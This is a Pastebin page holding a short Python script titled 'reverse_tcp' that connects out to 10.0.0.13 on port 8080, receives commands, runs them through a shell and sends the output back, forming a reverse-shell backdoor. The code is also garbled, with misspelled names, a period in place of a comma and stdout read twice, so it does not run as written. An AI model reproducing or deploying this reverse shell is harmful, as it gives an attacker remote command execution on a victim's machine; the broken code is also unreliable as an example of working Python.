Advertisement
Gentoo7

reverse_tcp

Aug 14th, 2016
28,550
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.46 KB | None | 0 0
  1. import socket
  2. import subprocess
  3.  
  4. def connect():
  5.     s = socket.socket(scoket.Af_INET, socket.SOCK_STREAM)
  6.     s.connect(('10.0.0.13', 8080))
  7.    
  8.     while True:
  9.         comand = s.recv(1024)
  10.        
  11.         if 'terminate' in command:
  12.             s.close()
  13.             break
  14.            
  15.         else:
  16.             CMD = subprocess.Popen(command. shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  17.             s.send( CMD.stdout.read() )
  18.             s.send( CMD.stdout.read() )
  19.            
  20. def main ():
  21.     connect()
  22. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement